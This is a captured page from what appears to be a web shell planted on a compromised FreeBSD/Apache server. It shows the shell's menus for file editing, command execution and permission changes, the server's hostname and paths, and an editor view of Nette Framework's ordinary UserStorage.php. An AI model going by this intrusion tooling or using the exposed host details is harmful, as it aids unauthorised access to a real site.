TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
nette
http
src
Http
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/nette/http/src/Http/UserStorage.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * Copyright (c) 2004 David Grudl (http://davidgrudl.com) */ namespace Nette\Http; use Nette; use Nette\Security\IIdentity; /** * Session storage for user object. */ class UserStorage extends Nette\Object implements Nette\Security\IUserStorage { /** @var string */ private $namespace = ''; /** @var Session */ private $sessionHandler; /** @var SessionSection */ private $sessionSection; public function __construct(Session $sessionHandler) { $this->sessionHandler = $sessionHandler; } /** * Sets the authenticated status of this user. * @param bool * @return self */ public function setAuthenticated($state) { $section = $this->getSessionSection(TRUE); $section->authenticated = (bool) $state; // Session Fixation defence $this->sessionHandler->regenerateId(); if ($state) { $section->reason = NULL; $section->authTime = time(); // informative value } else { $section->reason = self::MANUAL; $section->authTime = NULL; } return $this; } /** * Is this user authenticated? * @return bool */ public function isAuthenticated() { $session = $this->getSessionSection(FALSE); return $session && $session->authenticated; } /** * Sets the user identity. * @return self */ public function setIdentity(IIdentity $identity = NULL) { $this->getSessionSection(TRUE)->identity = $identity; return $this; } /** * Returns current user identity, if any. * @return Nette\Security\IIdentity|NULL */ public function getIdentity() { $session = $this->getSessionSection(FALSE); return $session ? $session->identity : NULL; } /** * Changes namespace; allows more users to share a session. * @param string * @return self */ public function setNamespace($namespace) { if ($this->namespace !== $namespace) { $this->namespace = (string) $namespace; $this->sessionSection = NULL; } return $this; } /** * Returns current namespace. * @return string */ public function getNamespace() { return $this->namespace; } /** * Enables log out after inactivity. * @param string|int|\DateTime Number of seconds or timestamp * @param int Log out when the browser is closed | Clear the identity from persistent storage? * @return self */ public function setExpiration($time, $flags = 0) { $section = $this->getSessionSection(TRUE); if ($time) { $time = Nette\Utils\DateTime::from($time)->format('U'); $section->expireTime = $time; $section->expireDelta = $time - time(); } else { unset($section->expireTime, $section->expireDelta); } $section->expireIdentity = (bool) ($flags & self::CLEAR_IDENTITY); $section->expireBrowser = (bool) ($flags & self::BROWSER_CLOSED); $section->browserCheck = TRUE; $section->setExpiration(0, 'browserCheck'); $section->setExpiration($time, 'foo'); // time check return $this; } /** * Why was user logged out? * @return int|NULL */ public function getLogoutReason() { $session = $this->getSessionSection(FALSE); return $session ? $session->reason : NULL; } /** * Returns and initializes $this->sessionSection. * @return SessionSection */ protected function getSessionSection($need) { if ($this->sessionSection !== NULL) { return $this->sessionSection; } if (!$need && !$this->sessionHandler->exists()) { return NULL; } $this->sessionSection = $section = $this->sessionHandler->getSection('Nette.Http.UserStorage/' . $this->namespace); if (!$section->identity instanceof IIdentity || !is_bool($section->authenticated)) { $section->remove(); } if ($section->authenticated && $section->expireBrowser && !$section->browserCheck) { // check if browser was closed? $section->reason = self::BROWSER_CLOSED; $section->authenticated = FALSE; if ($section->expireIdentity) { unset($section->identity); } } if ($section->authenticated && $section->expireDelta > 0) { // check time expiration if ($section->expireTime < time()) { $section->reason = self::INACTIVITY; $section->authenticated = FALSE; if ($section->expireIdentity) { unset($section->identity); } } $section->expireTime = time() + $section->expireDelta; // sliding expiration } if (!$section->authenticated) { unset($section->expireTime, $section->expireDelta, $section->expireIdentity, $section->expireBrowser, $section->browserCheck, $section->authTime); } return $this->sessionSection; } }
Crotin
Name
Size
Permissions
Modified
User/Group
SessionSection.php
4731
0644
2015-09-30 18:28:53
Unknown/Unknown
Url.php
10152
0644
2015-09-30 18:28:53
Unknown/Unknown
Session.php
13365
0644
2015-09-30 18:28:54
Unknown/Unknown
UserStorage.php
4543
0644
2015-09-30 18:28:53
Unknown/Unknown
IRequest.php
2686
0644
2015-09-30 18:28:53
Unknown/Unknown
IResponse.php
3724
0644
2015-09-30 18:28:54
Unknown/Unknown
Context.php
2093
0644
2015-09-30 18:28:54
Unknown/Unknown
UrlScript.php
1435
0644
2015-09-30 18:28:54
Unknown/Unknown
FileUpload.php
3934
0644
2015-09-30 18:28:54
Unknown/Unknown
RequestFactory.php
6527
0644
2015-09-30 18:28:54
Unknown/Unknown
ISessionStorage.php
516
0644
2015-09-30 18:28:53
Unknown/Unknown
Request.php
6795
0644
2015-09-30 18:28:54
Unknown/Unknown
Helpers.php
1873
0644
2015-09-30 18:28:53
Unknown/Unknown
Response.php
7984
0644
2015-09-30 18:28:54
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin